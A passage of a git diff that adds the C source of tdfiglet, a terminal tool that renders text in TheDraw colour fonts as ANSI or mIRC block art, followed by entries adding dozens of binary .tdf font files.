+#include <sys/queue.h>
+#include <sys/stat.h>
+#include <sys/time.h>
+#include <sys/types.h>
+
+#ifdef DEBUG
+#define DEBUG 1
+#endif /* DEBUG */
+
+#define OUTLN_FNT 0
+#define BLOCK_FNT 1
+#define COLOR_FNT 2
+
+#define NUM_CHARS 94
+
+/* 4 bytes + '\0' */
+#define MAX_UTFSTR	5
+
+#define LEFT_JUSTIFY	0
+#define RIGHT_JUSTIFY	1
+#define CENTER_JUSTIFY	2
+
+#define DEFAULT_WIDTH	80
+
+#define COLOR_ANSI	0
+#define COLOR_MIRC	1
+
+#define ENC_UNICODE	0
+#define ENC_ANSI	1
+
+#ifndef FONT_DIR
+#define FONT_DIR	"fonts"
+#endif /* FONT_DIR */
+
+#ifndef FONT_EXT
+#define FONT_EXT	"tdf"
+#endif /* FONT_EXT */
+
+#ifndef DEFAULT_FONT
+#define DEFAULT_FONT	"brndamgx" /* seems most complete */
+#endif /* DEFAULT_FONT */
+
+typedef struct opt_s {
+	uint8_t justify;
+	uint8_t width;
+	uint8_t color;
+	uint8_t encoding;
+	bool random;
+	bool info;
+} opt_t;
+
+typedef struct cell_s {
+	uint8_t color;
+	char utfchar[MAX_UTFSTR];
+} cell_t;
+
+typedef struct glyph_s {
+	uint8_t width;
+	uint8_t height;
+	cell_t *cell;
+} glyph_t;
+
+typedef struct font_s {
+	uint8_t namelen;
+	uint8_t *name;
+	uint8_t fonttype;
+	uint8_t spacing;
+	uint16_t blocksize;
+	uint16_t *charlist;
+	uint8_t *data;
+	glyph_t *glyphs[NUM_CHARS];
+	uint8_t height;
+} font_t;
+
+struct dirname_s {
+	char *str;
+	SLIST_ENTRY(dirname_s) stuff;
+};
+
+const char *charlist = "!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNO"
+		       "PQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~";
+
+opt_t opt;
+
+void usage(void);
+font_t *loadfont(char *fn);
+void readchar(int i, glyph_t *glyph, font_t *font);
+
+void ibmtoutf8(char *a, char *u);
+void printcolor(uint8_t color);
+int lookupchar(char c, const font_t *font);
+
+void printcell(char *utfchar, uint8_t color);
+void printrow(const glyph_t *glyph, int row);
+void printstr(const char *str, font_t *font);
+
+void
+usage(void)
+{
+	fprintf(stderr, "usage: tdfiglet [options] input\n");
+	fprintf(stderr, "\n");
+	fprintf(stderr, "    -f [font] Specify font file used.\n");
+	fprintf(stderr, "    -j l|r|c  Justify left, right, or center.  Default is left.\n");
+	fprintf(stderr, "    -w n      Set screen width.  Default is 80.\n");
+	fprintf(stderr, "    -c a|m    Color format ANSI or mirc.  Default is ANSI.\n");
+	fprintf(stderr, "    -e u|a    Encode as unicode or ASCII.  Default is unicode.\n");
+	fprintf(stderr, "    -i        Print font details.\n");
+	fprintf(stderr, "    -r        Use random font.\n");
+	fprintf(stderr, "    -h        Print usage.\n");
+	fprintf(stderr, "\n");
+	exit(EX_USAGE);
+}
+
+int
+main(int argc, char *argv[])
+{
+	font_t *font = NULL;
+	int o;
+
+	opt.justify = LEFT_JUSTIFY;
+	opt.width = 80;
+	opt.info = false;
+	opt.encoding = ENC_UNICODE;
+	opt.random = false;
+	char *fontfile = NULL;
+
+	struct timeval tv;
+
+	DIR *d;
+	struct dirent *dir;
+	SLIST_HEAD(, dirname_s) head = SLIST_HEAD_INITIALIZER(dirname_s);
+	SLIST_INIT(&head);
+	struct dirname_s *dp;
+
+	int r = 0;
+	int dll = 0;
+
+	while((o = getopt(argc, argv, "f:w:j:c:e:ir")) != -1) {
+		switch (o) {
+			case 'f':
+				fontfile = optarg;
+				break;
+			case 'w':
+				opt.width = atoi(optarg);
+				break;
+			case 'j':
+				switch (optarg[0]) {
+					case 'l':
+						opt.justify = LEFT_JUSTIFY;
+						break;
+					case 'r':
+						opt.justify = RIGHT_JUSTIFY;
+						break;
+					case 'c':
+						opt.justify = CENTER_JUSTIFY;
+						break;
+					default:
+						usage();
+				}
+				break;
+			case 'c':
+				switch (optarg[0]) {
+					case 'a':
+						opt.color = COLOR_ANSI;
+						break;
+					case 'm':
+						opt.color = COLOR_MIRC;
+						break;
+					default:
+						usage();
+				}
+				break;
+			case 'e':
+				switch (optarg[0]) {
+					case 'a':
+						opt.encoding = ENC_ANSI;
+						break;
+					case 'u':
+						opt.encoding = ENC_UNICODE;
+						break;
+					default:
+						usage();
+				}
+				break;
+			case 'i':
+				opt.info = true;
+				break;
+			case 'r':
+				opt.random = true;
+				break;
+			case 'h':
+				/* fallthrough */
+			default:
+				usage();
+		}
+	}
+
+	argc -= optind;
+	argv += optind;
+
+	if (argc < 1) {
+		usage();
+	}
+
+	if (!fontfile) {
+		if (!opt.random) {
+			fontfile = DEFAULT_FONT;
+		} else {
+			d = opendir(FONT_DIR);
+			if (!d) {
+				fprintf(stderr, "Error: unable to read %s\n",
+					FONT_DIR);
+				exit(1);
+			}
+
+			while ((dir = readdir(d))) {
+				if (strstr(dir->d_name, FONT_EXT)) {
+					dp = malloc(sizeof(struct dirname_s));
+					dp->str = calloc(1, 1024);
+					strcpy(dp->str, dir->d_name);
+					SLIST_INSERT_HEAD(&head, dp, stuff);
+					dll++;
+				}
+			}
+			closedir(d);
+
+			gettimeofday(&tv, NULL);
+
+			srand(tv.tv_usec);
+			r = dll ? rand() % dll : 0;
+
+			dp = SLIST_FIRST(&head);
+			for (int i = 0; i < r; i++) {
+				dp = SLIST_NEXT(dp, stuff);
+			}
+
+			if (dp && dp->str) {
+				fontfile = dp->str;
+			} else {
+				fontfile = DEFAULT_FONT;
+			}
+		}
+	}
+
+	font = loadfont(fontfile);
+
+	printf("\n");
+
+	for (int i = 0; i < argc; i++) {
+		printstr(argv[i], font);
+		printf("\n");
+	}
+
+	return(0);
+}
+
+font_t
+*loadfont(char *fn_arg)
+{
+
+	font_t *font;
+	uint8_t *map = NULL;
+	int fd;
+	struct stat st;
+	size_t len;
+	uint8_t *p;
+	char *fn = NULL;
+
+	const char *magic = "\x13TheDraw FONTS file\x1a";
+
+	if (!strchr(fn_arg, '/')) {
+		if (strchr(fn_arg, '.')) {
+			fn = malloc(strlen(FONT_DIR) + strlen(fn_arg) + 2);
+			sprintf(fn, "%s/%s", FONT_DIR, fn_arg);
+		} else {
+			fn = malloc(strlen(FONT_DIR) + strlen(fn_arg) + \
+				strlen(FONT_EXT) + 3);
+			sprintf(fn, "%s/%s.%s", FONT_DIR, fn_arg, FONT_EXT);
+		}
+	} else {
+		fn = malloc(strlen(fn_arg) + 1);
+		sprintf(fn, "%s", fn_arg);
+	}
+
+	if (fn == NULL) {
+		perror(NULL);
+		exit(EX_OSERR);
+	}
+
+	fd = open(fn, O_RDONLY);
+
+	if (fd < 0) {
+		perror(NULL);
+		exit(EX_NOINPUT);
+	}
+
+	if (opt.info) {
+		printf("file: %s\n", fn);
+	}
+
+	font = malloc(sizeof(font_t));
+
+	if (fstat(fd, &st)) {
+		perror(NULL);
+		exit(EX_OSERR);
+	}
+
+	len = st.st_size;
+
+	map = mmap(0, len, PROT_READ, MAP_PRIVATE, fd, 0);
+
+	if (!map) {
+		perror(NULL);
+		exit(EX_OSERR);
+	}
+
+	close(fd);
+
+	if (!font) {
+		perror(NULL);
+		exit(EX_OSERR);
+	}
+
+	font->namelen = map[24];
+	font->name = &map[25];
+	font->fonttype = map[41];
+	font->spacing = map[42];
+	font->blocksize = (uint16_t)map[43];
+	font->charlist = (uint16_t *)&map[45];
+	font->data = &map[233];
+	font->height = 0;
+
+	if (strncmp(magic, (const char *)map, strlen(magic)) || font->fonttype != COLOR_FNT) {
+		fprintf(stderr, "Invalid font file: %s\n", fn);
+		exit(EX_NOINPUT);
+	}
+
+	free(fn);
+
+	if (opt.info) {
+		printf("font: %s\nchar list: ", font->name);
+	}
+
+	for (int i = 0; i < NUM_CHARS; i++) {
+		/* check for invalid glyph addresses */
+		if (charlist[i] + &map[233] > map + st.st_size) {
+			perror(NULL);
+			exit(EX_NOINPUT);
+		}
+
+		if (lookupchar(charlist[i], font) > -1) {
+
+			if (opt.info) {
+				printf("%c", charlist[i]);
+			}
+
+			p = font->data + font->charlist[i] + 2;
+			if (*p > font->height) {
+				font->height = *p;
+			}
+		}
+	}
+
+	if (opt.info) {
+		printf("\n");
+	}
+
+	for (int i = 0; i < NUM_CHARS; i++) {
+
+		if (lookupchar(charlist[i], font) != -1) {
+
+			font->glyphs[i] = calloc(1, sizeof(glyph_t));
+
+			if (!font->glyphs[i]) {
+				perror(NULL);
+				exit(EX_OSERR);
+			}
+
+			readchar(i, font->glyphs[i], font);
+
+		} else {
+			font->glyphs[i] = NULL;
+		}
+	}
+
+	return font;
+}
+
+void
+readchar(int i, glyph_t *glyph, font_t *font)
+{
+	if (font->charlist[i] == 0xffff) {
+		printf("char not found\n");
+		return;
+	}
+
+	uint8_t *p = font->data + font->charlist[i];
+
+	uint8_t ch;
+	uint8_t color;
+
+	glyph->width = *p;
+	p++;
+	glyph->height = *p;
+	p++;
+
+	int row = 0;
+	int col = 0;
+	int width = glyph->width;
+	int height = glyph->height;
+
+	if (height > font->height) {
+		font->height = height;
+	}
+
+	glyph->cell = calloc(width * font->height, sizeof(cell_t));
+	if (!glyph->cell) {
+		perror(NULL);
+		exit(EX_OSERR);
+	}
+
+	for (int i = 0; i < width * font->height; i++) {
+		glyph->cell[i].utfchar[0] = ' ';
+		glyph->cell[i].color = 0;
+	}
+
+	while (*p) {
+
+		ch = *p;
+		p++;
+
+
+		if (ch == '\r') {
+			ch = ' ';
+			row++;
+			col = 0;
+		} else {
+			color = *p;
+			p++;
+#ifdef DEBUG
+			if (ch == 0x09)
+				ch = 'T';
+			if (ch < 0x20)
+				ch = '?';
+#else
+			if (ch < 0x20)
+				ch = ' ';
+#endif /* DEBUG */
+			if (opt.encoding == ENC_UNICODE) {
+				ibmtoutf8((char *)&ch,
+					  glyph->cell[row * width + col].utfchar);
+			} else {
+				glyph->cell[row * width + col].utfchar[0] = ch;
+			}
+
+			glyph->cell[row * width + col].color = color;
+
+			col++;
+		}
+	}
+}
+
+int
+lookupchar(char c, const font_t *font)
+{
+	for (int i = 0; i < NUM_CHARS; i++) {
+		if (charlist[i] == c && font->charlist[i] != 0xffff)
+			return i;
+	}
+
+	return -1;
+}
+
+void
+ibmtoutf8(char *a, char *u)
+{
+	static iconv_t conv = (iconv_t)0;
+
+	size_t inchsize = 1;
+	size_t outchsize = MAX_UTFSTR;
+
+	if (!conv) {
+		conv = iconv_open("UTF-8", "CP437");
+	}
+
+	iconv(conv, &a, &inchsize, &u, &outchsize);
+
+	return;
+}
+
+void
+printcolor(uint8_t color)
+{
+
+	uint8_t fg = color & 0x0f;
+	uint8_t bg = (color & 0xf0) >> 4;
+
+	/* thedraw colors                                     BRT BRT BRT BRT BRT BRT BRT BRT */
+	/* thedraw colors     BLK BLU GRN CYN RED MAG BRN GRY BLK BLU GRN CYN RED PNK YLW WHT */
+	uint8_t fgacolors[] = {30, 34, 32, 36, 31, 35, 33, 37, 90, 94, 92, 96, 91, 95, 93, 97};
+	uint8_t bgacolors[] = {40, 44, 42, 46, 41, 45, 43, 47};
+	uint8_t fgmcolors[] = { 1,  2,  3, 10,  5,  6,  7, 15, 14,  12, 9, 11,  4, 13,  8,  0};
+	uint8_t bgmcolors[] = { 1,  2,  3, 10,  5,  6,  7, 15, 14,  12, 9, 11,  4, 13,  8,  0};
+
+	if (opt.color == COLOR_ANSI) {
+		printf("\x1b[");
+		printf("%d;", fgacolors[fg]);
+		printf("%dm", bgacolors[bg]);
+	} else {
+		printf("\x03");
+		printf("%d,", fgmcolors[fg]);
+		printf("%d", bgmcolors[bg]);
+	}
+}
+
+void
+printrow(const glyph_t *glyph, int row)
+{
+	char *utfchar;
+	uint8_t color;
+	int i;
+	uint8_t lastcolor;
+
+	for (i = 0; i < glyph->width; i++) {
+		utfchar = glyph->cell[glyph->width * row + i].utfchar;
+		color = glyph->cell[glyph->width * row + i].color;
+
+		if (i == 0 || color != lastcolor) {
+			printcolor(color);
+			lastcolor = color;
+		}
+
+		printf("%s", utfchar);
+	}
+
+	if (opt.color == COLOR_ANSI) {
+		printf("\x1b[0m");
+	} else {
+		printf("\x03");
+	}
+}
+
+void
+printstr(const char *str, font_t *font)
+{
+	int maxheight = 0;
+	int linewidth = 0;
+	int len = strlen(str);
+	int padding = 0;
+	int n = 0;
+
+	for (int i = 0; i < len; i++) {
+		glyph_t *g;
+
+		n = lookupchar(str[i], font);
+
+		if (n == -1) {
+			continue;
+		}
+
+		g = font->glyphs[n];
+
+		if (g->height > maxheight) {
+			maxheight = g->height;
+		}
+
+		linewidth += g->width;
+		if (linewidth + 1 < len) {
+			linewidth += font->spacing;
+		}
+	}
+
+	if (opt.justify == CENTER_JUSTIFY) {
+		padding = (opt.width - linewidth) / 2;
+	} else if (opt.justify == RIGHT_JUSTIFY) {
+		padding = (opt.width - linewidth);
+	}
+
+	for (int i = 0; i < maxheight; i++) {
+		for (int i = 0; i < padding; ++i) {
+			printf(" ");
+		}
+
+		for (int c = 0; c < strlen(str); c++) {
+			n = lookupchar(str[c], font);
+
+			if (n == -1) {
+				continue;
+			}
+
+			glyph_t *g = font->glyphs[n];
+			printrow(g, i);
+
+			if (opt.color == COLOR_ANSI) {
+				printf("\x1b[0m");
+			} else {
+				printf("\x03");
+			}
+
+			for (int s = 0; s < font->spacing; s++) {
+				printf(" ");
+			}
+		}
+
+		if (opt.color == COLOR_ANSI) {
+			printf("\x1b[0m\n");
+		} else {
+			printf("\x03\r\n");
+		}
+	}
+}
diff --git a/art/tdfiglet/unused-fonts/3d-fade.tdf b/art/tdfiglet/unused-fonts/3d-fade.tdf
new file mode 100644
index 0000000..6c3fedf
Binary files /dev/null and b/art/tdfiglet/unused-fonts/3d-fade.tdf differ
diff --git a/art/tdfiglet/unused-fonts/3ddiag.tdf b/art/tdfiglet/unused-fonts/3ddiag.tdf
new file mode 100644
index 0000000..9f6af37
Binary files /dev/null and b/art/tdfiglet/unused-fonts/3ddiag.tdf differ
diff --git a/art/tdfiglet/unused-fonts/4max.tdf b/art/tdfiglet/unused-fonts/4max.tdf
new file mode 100644
index 0000000..f578d94
Binary files /dev/null and b/art/tdfiglet/unused-fonts/4max.tdf differ
diff --git a/art/tdfiglet/unused-fonts/4maxx.tdf b/art/tdfiglet/unused-fonts/4maxx.tdf
new file mode 100644
index 0000000..3fde556
Binary files /dev/null and b/art/tdfiglet/unused-fonts/4maxx.tdf differ
diff --git a/art/tdfiglet/unused-fonts/aligatr2.tdf b/art/tdfiglet/unused-fonts/aligatr2.tdf
new file mode 100644
index 0000000..8d0923f
Binary files /dev/null and b/art/tdfiglet/unused-fonts/aligatr2.tdf differ
diff --git a/art/tdfiglet/unused-fonts/amcslash.tdf b/art/tdfiglet/unused-fonts/amcslash.tdf
new file mode 100644
index 0000000..56d6054
Binary files /dev/null and b/art/tdfiglet/unused-fonts/amcslash.tdf differ
diff --git a/art/tdfiglet/unused-fonts/ansiltr2.tdf b/art/tdfiglet/unused-fonts/ansiltr2.tdf
new file mode 100644
index 0000000..5c7bede
Binary files /dev/null and b/art/tdfiglet/unused-fonts/ansiltr2.tdf differ
diff --git a/art/tdfiglet/unused-fonts/ansiltr3.tdf b/art/tdfiglet/unused-fonts/ansiltr3.tdf
new file mode 100644
index 0000000..9c656f3
Binary files /dev/null and b/art/tdfiglet/unused-fonts/ansiltr3.tdf differ
diff --git a/art/tdfiglet/unused-fonts/ansiltr4.tdf b/art/tdfiglet/unused-fonts/ansiltr4.tdf
new file mode 100644
index 0000000..88e5cc1
Binary files /dev/null and b/art/tdfiglet/unused-fonts/ansiltr4.tdf differ
diff --git a/art/tdfiglet/unused-fonts/ansiltr5.tdf b/art/tdfiglet/unused-fonts/ansiltr5.tdf
new file mode 100644
index 0000000..975fbb2
Binary files /dev/null and b/art/tdfiglet/unused-fonts/ansiltr5.tdf differ
diff --git a/art/tdfiglet/unused-fonts/antrfont.tdf b/art/tdfiglet/unused-fonts/antrfont.tdf
new file mode 100644
index 0000000..79f82b4
Binary files /dev/null and b/art/tdfiglet/unused-fonts/antrfont.tdf differ
diff --git a/art/tdfiglet/unused-fonts/ascii_2.tdf b/art/tdfiglet/unused-fonts/ascii_2.tdf
new file mode 100644
index 0000000..639a741
Binary files /dev/null and b/art/tdfiglet/unused-fonts/ascii_2.tdf differ
diff --git a/art/tdfiglet/unused-fonts/basic.tdf b/art/tdfiglet/unused-fonts/basic.tdf
new file mode 100644
index 0000000..803026e
Binary files /dev/null and b/art/tdfiglet/unused-fonts/basic.tdf differ
diff --git a/art/tdfiglet/unused-fonts/bigout.tdf b/art/tdfiglet/unused-fonts/bigout.tdf
new file mode 100644
index 0000000..41693d0
Binary files /dev/null and b/art/tdfiglet/unused-fonts/bigout.tdf differ
diff --git a/art/tdfiglet/unused-fonts/blunder.tdf b/art/tdfiglet/unused-fonts/blunder.tdf
new file mode 100644
index 0000000..175151d
Binary files /dev/null and b/art/tdfiglet/unused-fonts/blunder.tdf differ
diff --git a/art/tdfiglet/unused-fonts/blunders.tdf b/art/tdfiglet/unused-fonts/blunders.tdf
new file mode 100644
index 0000000..ddeab82
Binary files /dev/null and b/art/tdfiglet/unused-fonts/blunders.tdf differ
diff --git a/art/tdfiglet/unused-fonts/boilpont.tdf b/art/tdfiglet/unused-fonts/boilpont.tdf
new file mode 100644
index 0000000..7068c23
Binary files /dev/null and b/art/tdfiglet/unused-fonts/boilpont.tdf differ
diff --git a/art/tdfiglet/unused-fonts/boldme.tdf b/art/tdfiglet/unused-fonts/boldme.tdf
new file mode 100644
index 0000000..7d61219
Binary files /dev/null and b/art/tdfiglet/unused-fonts/boldme.tdf differ
diff --git a/art/tdfiglet/unused-fonts/bolger.tdf b/art/tdfiglet/unused-fonts/bolger.tdf
new file mode 100644
index 0000000..134a59f
Binary files /dev/null and b/art/tdfiglet/unused-fonts/bolger.tdf differ
diff --git a/art/tdfiglet/unused-fonts/bow.tdf b/art/tdfiglet/unused-fonts/bow.tdf
new file mode 100644
index 0000000..485ace8
Binary files /dev/null and b/art/tdfiglet/unused-fonts/bow.tdf differ
diff --git a/art/tdfiglet/unused-fonts/broadway.tdf b/art/tdfiglet/unused-fonts/broadway.tdf
new file mode 100644
index 0000000..daa72ba
Binary files /dev/null and b/art/tdfiglet/unused-fonts/broadway.tdf differ
diff --git a/art/tdfiglet/unused-fonts/buba.tdf b/art/tdfiglet/unused-fonts/buba.tdf
new file mode 100644
index 0000000..75b4cc9
Binary files /dev/null and b/art/tdfiglet/unused-fonts/buba.tdf differ
diff --git a/art/tdfiglet/unused-fonts/calvin.tdf b/art/tdfiglet/unused-fonts/calvin.tdf
new file mode 100644
index 0000000..af7882b
Binary files /dev/null and b/art/tdfiglet/unused-fonts/calvin.tdf differ
diff --git a/art/tdfiglet/unused-fonts/calvin_l.tdf b/art/tdfiglet/unused-fonts/calvin_l.tdf
new file mode 100644
index 0000000..3928c38
Binary files /dev/null and b/art/tdfiglet/unused-fonts/calvin_l.tdf differ
diff --git a/art/tdfiglet/unused-fonts/calvin_s.tdf b/art/tdfiglet/unused-fonts/calvin_s.tdf
new file mode 100644
index 0000000..2502dfe
Binary files /dev/null and b/art/tdfiglet/unused-fonts/calvin_s.tdf differ
diff --git a/art/tdfiglet/unused-fonts/cfh-amig.tdf b/art/tdfiglet/unused-fonts/cfh-amig.tdf
new file mode 100644
index 0000000..43a4318
Binary files /dev/null and b/art/tdfiglet/unused-fonts/cfh-amig.tdf differ
diff --git a/art/tdfiglet/unused-fonts/classic.tdf b/art/tdfiglet/unused-fonts/classic.tdf
new file mode 100644
index 0000000..77ed01e
Binary files /dev/null and b/art/tdfiglet/unused-fonts/classic.tdf differ
diff --git a/art/tdfiglet/unused-fonts/colosall.tdf b/art/tdfiglet/unused-fonts/colosall.tdf
new file mode 100644
index 0000000..a613ad6
Binary files /dev/null and b/art/tdfiglet/unused-fonts/colosall.tdf differ
diff --git a/art/tdfiglet/unused-fonts/commodre.tdf b/art/tdfiglet/unused-fonts/commodre.tdf
new file mode 100644
index 0000000..7d7257e
Binary files /dev/null and b/art/tdfiglet/unused-fonts/commodre.tdf differ
diff --git a/art/tdfiglet/unused-fonts/compact.tdf b/art/tdfiglet/unused-fonts/compact.tdf
new file mode 100644
index 0000000..86cd58a
Binary files /dev/null and b/art/tdfiglet/unused-fonts/compact.tdf differ
diff --git a/art/tdfiglet/unused-fonts/compfigl.tdf b/art/tdfiglet/unused-fonts/compfigl.tdf
new file mode 100644
index 0000000..2a15625
Binary files /dev/null and b/art/tdfiglet/unused-fonts/compfigl.tdf differ
diff --git a/art/tdfiglet/unused-fonts/crest.tdf b/art/tdfiglet/unused-fonts/crest.tdf
new file mode 100644
index 0000000..1148579
Binary files /dev/null and b/art/tdfiglet/unused-fonts/crest.tdf differ
diff --git a/art/tdfiglet/unused-fonts/cricket.tdf b/art/tdfiglet/unused-fonts/cricket.tdf
new file mode 100644
index 0000000..af2d537
Binary files /dev/null and b/art/tdfiglet/unused-fonts/cricket.tdf differ
diff --git a/art/tdfiglet/unused-fonts/cyberlrg.tdf b/art/tdfiglet/unused-fonts/cyberlrg.tdf
new file mode 100644
index 0000000..4987c25
Binary files /dev/null and b/art/tdfiglet/unused-fonts/cyberlrg.tdf differ
diff --git a/art/tdfiglet/unused-fonts/cyblarge.tdf b/art/tdfiglet/unused-fonts/cyblarge.tdf
new file mode 100644
index 0000000..b35a19f
Binary files /dev/null and b/art/tdfiglet/unused-fonts/cyblarge.tdf differ
diff --git a/art/tdfiglet/unused-fonts/cybmedum.tdf b/art/tdfiglet/unused-fonts/cybmedum.tdf
new file mode 100644
index 0000000..541549c
Binary files /dev/null and b/art/tdfiglet/unused-fonts/cybmedum.tdf differ
diff --git a/art/tdfiglet/unused-fonts/cybsmall.tdf b/art/tdfiglet/unused-fonts/cybsmall.tdf
new file mode 100644
index 0000000..7ef6f1d
Binary files /dev/null and b/art/tdfiglet/unused-fonts/cybsmall.tdf differ
diff --git a/art/tdfiglet/unused-fonts/defleprd.tdf b/art/tdfiglet/unused-fonts/defleprd.tdf
new file mode 100644
index 0000000..b6f26df
Binary files /dev/null and b/art/tdfiglet/unused-fonts/defleprd.tdf differ
diff --git a/art/tdfiglet/unused-fonts/dosrebel.tdf b/art/tdfiglet/unused-fonts/dosrebel.tdf
new file mode 100644
index 0000000..69e70a6
Binary files /dev/null and b/art/tdfiglet/unused-fonts/dosrebel.tdf differ
diff --git a/art/tdfiglet/unused-fonts/elite.tdf b/art/tdfiglet/unused-fonts/elite.tdf
new file mode 100644
index 0000000..0d57ced
Binary files /dev/null and b/art/tdfiglet/unused-fonts/elite.tdf differ
diff --git a/art/tdfiglet/unused-fonts/fade-1.tdf b/art/tdfiglet/unused-fonts/fade-1.tdf
new file mode 100644
index 0000000..c17c29b
Binary files /dev/null and b/art/tdfiglet/unused-fonts/fade-1.tdf differ
diff --git a/art/tdfiglet/unused-fonts/fade-2.tdf b/art/tdfiglet/unused-fonts/fade-2.tdf
new file mode 100644
index 0000000..d7148d7
Binary files /dev/null and b/art/tdfiglet/unused-fonts/fade-2.tdf differ
diff --git a/art/tdfiglet/unused-fonts/fb-line.tdf b/art/tdfiglet/unused-fonts/fb-line.tdf
new file mode 100644
index 0000000..3fa5615
Binary files /dev/null and b/art/tdfiglet/unused-fonts/fb-line.tdf differ
diff --git a/art/tdfiglet/unused-fonts/fraktur2.tdf b/art/tdfiglet/unused-fonts/fraktur2.tdf
new file mode 100644
index 0000000..d0b018d
Binary files /dev/null and b/art/tdfiglet/unused-fonts/fraktur2.tdf differ
diff --git a/art/tdfiglet/unused-fonts/fristi.tdf b/art/tdfiglet/unused-fonts/fristi.tdf
new file mode 100644
index 0000000..e75ac1a
Binary files /dev/null and b/art/tdfiglet/unused-fonts/fristi.tdf differ
diff --git a/art/tdfiglet/unused-fonts/future.tdf b/art/tdfiglet/unused-fonts/future.tdf
new file mode 100644
index 0000000..11781d7
Binary files /dev/null and b/art/tdfiglet/unused-fonts/future.tdf differ
diff --git a/art/tdfiglet/unused-fonts/georgia1.tdf b/art/tdfiglet/unused-fonts/georgia1.tdf
new file mode 100644
index 0000000..420277f
Binary files /dev/null and b/art/tdfiglet/unused-fonts/georgia1.tdf differ
diff --git a/art/tdfiglet/unused-fonts/gothic.tdf b/art/tdfiglet/unused-fonts/gothic.tdf
new file mode 100644
index 0000000..5e36372
Binary files /dev/null and b/art/tdfiglet/unused-fonts/gothic.tdf differ
diff --git a/art/tdfiglet/unused-fonts/greek2.tdf b/art/tdfiglet/unused-fonts/greek2.tdf
new file mode 100644
index 0000000..67cd6e4
Binary files /dev/null and b/art/tdfiglet/unused-fonts/greek2.tdf differ
diff --git a/art/tdfiglet/unused-fonts/henry3d.tdf b/art/tdfiglet/unused-fonts/henry3d.tdf
new file mode 100644
index 0000000..da577bf
Binary files /dev/null and b/art/tdfiglet/unused-fonts/henry3d.tdf differ
diff --git a/art/tdfiglet/unused-fonts/hieroglp.tdf b/art/tdfiglet/unused-fonts/hieroglp.tdf
new file mode 100644
index 0000000..22ad2f1
Binary files /dev/null and b/art/tdfiglet/unused-fonts/hieroglp.tdf differ
diff --git a/art/tdfiglet/unused-fonts/hobbes.tdf b/art/tdfiglet/unused-fonts/hobbes.tdf
new file mode 100644
index 0000000..83b4e27
Binary files /dev/null and b/art/tdfiglet/unused-fonts/hobbes.tdf differ
diff --git a/art/tdfiglet/unused-fonts/holywood.tdf b/art/tdfiglet/unused-fonts/holywood.tdf
new file mode 100644
index 0000000..fdd7f53
Binary files /dev/null and b/art/tdfiglet/unused-fonts/holywood.tdf differ
diff --git a/art/tdfiglet/unused-fonts/icecream.tdf b/art/tdfiglet/unused-fonts/icecream.tdf
new file mode 100644
index 0000000..89dc079
Binary files /dev/null and b/art/tdfiglet/unused-fonts/icecream.tdf differ
diff --git a/art/tdfiglet/unused-fonts/impossbl.tdf b/art/tdfiglet/unused-fonts/impossbl.tdf
new file mode 100644
index 0000000..9a31429
Binary files /dev/null and b/art/tdfiglet/unused-fonts/impossbl.tdf differ
diff --git a/art/tdfiglet/unused-fonts/isomet1.tdf b/art/tdfiglet/unused-fonts/isomet1.tdf
new file mode 100644
index 0000000..71fa358
Binary files /dev/null and b/art/tdfiglet/unused-fonts/isomet1.tdf differ
diff --git a/art/tdfiglet/unused-fonts/isomet2.tdf b/art/tdfiglet/unused-fonts/isomet2.tdf
new file mode 100644
index 0000000..a9d2a8c
Binary files /dev/null and b/art/tdfiglet/unused-fonts/isomet2.tdf differ
diff --git a/art/tdfiglet/unused-fonts/isomet3.tdf b/art/tdfiglet/unused-fonts/isomet3.tdf
new file mode 100644
index 0000000..bf5bcef
Binary files /dev/null and b/art/tdfiglet/unused-fonts/isomet3.tdf differ
diff --git a/art/tdfiglet/unused-fonts/isomet4.tdf b/art/tdfiglet/unused-fonts/isomet4.tdf
new file mode 100644
index 0000000..c184e03
Binary files /dev/null and b/art/tdfiglet/unused-fonts/isomet4.tdf differ
diff --git a/art/tdfiglet/unused-fonts/jazmine.tdf b/art/tdfiglet/unused-fonts/jazmine.tdf
new file mode 100644
index 0000000..7f289ec
Binary files /dev/null and b/art/tdfiglet/unused-fonts/jazmine.tdf differ
diff --git a/art/tdfiglet/unused-fonts/jsfraste.tdf b/art/tdfiglet/unused-fonts/jsfraste.tdf
new file mode 100644
index 0000000..47a128e
Binary files /dev/null and b/art/tdfiglet/unused-fonts/jsfraste.tdf differ
diff --git a/art/tdfiglet/unused-fonts/jsfthick.tdf b/art/tdfiglet/unused-fonts/jsfthick.tdf
new file mode 100644
index 0000000..d89de98
Binary files /dev/null and b/art/tdfiglet/unused-fonts/jsfthick.tdf differ
diff --git a/art/tdfiglet/unused-fonts/jsfthin.tdf b/art/tdfiglet/unused-fonts/jsfthin.tdf
new file mode 100644
index 0000000..203f55a
Binary files /dev/null and b/art/tdfiglet/unused-fonts/jsfthin.tdf differ
diff --git a/art/tdfiglet/unused-fonts/jsfwide.tdf b/art/tdfiglet/unused-fonts/jsfwide.tdf
new file mode 100644
index 0000000..282d020
Binary files /dev/null and b/art/tdfiglet/unused-fonts/jsfwide.tdf differ
diff --git a/art/tdfiglet/unused-fonts/kevin3.tdf b/art/tdfiglet/unused-fonts/kevin3.tdf
new file mode 100644
index 0000000..be1725b
Binary files /dev/null and b/art/tdfiglet/unused-fonts/kevin3.tdf differ
diff --git a/art/tdfiglet/unused-fonts/kewl-tdf.tdf b/art/tdfiglet/unused-fonts/kewl-tdf.tdf
new file mode 100644
index 0000000..37a717f
Binary files /dev/null and b/art/tdfiglet/unused-fonts/kewl-tdf.tdf differ
diff --git a/art/tdfiglet/unused-fonts/kolo-tdf.tdf b/art/tdfiglet/unused-fonts/kolo-tdf.tdf
new file mode 100644
index 0000000..ecbdff1
Binary files /dev/null and b/art/tdfiglet/unused-fonts/kolo-tdf.tdf differ
diff --git a/art/tdfiglet/unused-fonts/lkergnme.tdf b/art/tdfiglet/unused-fonts/lkergnme.tdf
new file mode 100644
index 0000000..ff6bd0a
Binary files /dev/null and b/art/tdfiglet/unused-fonts/lkergnme.tdf differ
diff --git a/art/tdfiglet/unused-fonts/mabus.tdf b/art/tdfiglet/unused-fonts/mabus.tdf
new file mode 100644
index 0000000..82bd5fc
Binary files /dev/null and b/art/tdfiglet/unused-fonts/mabus.tdf differ
diff --git a/art/tdfiglet/unused-fonts/mabus12.tdf b/art/tdfiglet/unused-fonts/mabus12.tdf
new file mode 100644
index 0000000..bb91a9e
Binary files /dev/null and b/art/tdfiglet/unused-fonts/mabus12.tdf differ
diff --git a/art/tdfiglet/unused-fonts/maxfour.tdf b/art/tdfiglet/unused-fonts/maxfour.tdf
new file mode 100644
